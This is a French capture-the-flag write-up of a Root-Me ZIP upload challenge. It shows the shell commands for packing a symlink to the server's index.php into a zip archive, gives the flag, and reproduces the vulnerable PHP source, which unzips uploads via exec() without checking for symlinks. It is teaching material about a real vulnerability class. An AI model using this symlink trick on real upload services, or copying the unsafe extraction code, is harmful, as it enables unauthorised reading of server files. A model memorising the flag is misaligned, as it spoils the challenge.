Aller au contenu

File upload ZIP

Lien du CTF.

Analyse du site

Nous avons un page d'upload.

Recherche

En réaliser quelques recherches, nous pouvons trouver une vulnérabilité via l'upload de fichier ZIP ayant des liens symbolic point vers un autre fichier ou dossier.

Compromission

Création d'un lien symbolic :

ln -s index.php evil

Ajout du symlink à une archive :

zip -r --symlinks evil.zip evil

Importation du fichier sur le serveur :

imp.png

On vois bien notre fichier zip, cliquons sur le fichier :

error.png

Une erreur 404 apparait, c'est normal. Le chemin vers l'index est incorrect. En se basant sur l'URL : http://challenge01.root-me.org/web-serveur/ch51/tmp/upload/62b82cd47770a9.69674086/evil

On comprend qu'il faut remonter trois dossier. Récréation d'un lien symbolic :

ln -s ../index.php evil1

Ajout du symlink à une archive :

zip -r --symlinks evil1.zip evil

sec_symlinks.png

Importation du nouveau ZIP, le lien fonctionne et nous voyons bien l'index :

congratz_zip.png

Nous avons enfin le flag : N3v3r_7rU5T_u5Er_1npU7

Code source

<?php
if(isset($_FILES['zipfile'])){
    if($_FILES['zipfile']['type']==="application/zip" || $_FILES['zipfile']['type']==="application/x-zip-compressed" || $_FILES['zipfile']['type']==="application/octet-stream"){
        $uploaddir = 'tmp/upload/'.uniqid("", true).'/';
        mkdir($uploaddir, 0750, true);
        $uploadfile = $uploaddir . md5(basename($_FILES['zipfile']['name'])).'.zip';
        if (move_uploaded_file($_FILES['zipfile']['tmp_name'], $uploadfile)) {
            $message = "<p>File uploaded</p> ";
        }
        else{
            $message = "<p>Error!</p>";
        }

        $zip = new ZipArchive;
        if ($zip->open($uploadfile)) {
            // Don't know if this is safe, but it works, someone told me the flag is N3v3r_7rU5T_u5Er_1npU7 , did not understand what it means
            exec("/usr/bin/timeout -k2 3 /usr/bin/unzip '$uploadfile' -d '$uploaddir'", $output, $ret);
            $message = "<p>File unzipped <a href='".$uploaddir."'>here</a>.</p>";
        $zip->close();
        }
    else{
        $message = "<p> Decompression Error </p>";
    }
    }
    else{

    $message = "<p> Error bad file type ! <p>";
    }

}
?>

<html>
    <body>
        <h1>ZIP upload</h1>
        <?php print $message; ?>
        <form enctype="multipart/form-data" method="post" action>
            <input name="zipfile" type="file">
            <button type="submit">Submit</button>
        </form>
    </body>
</html>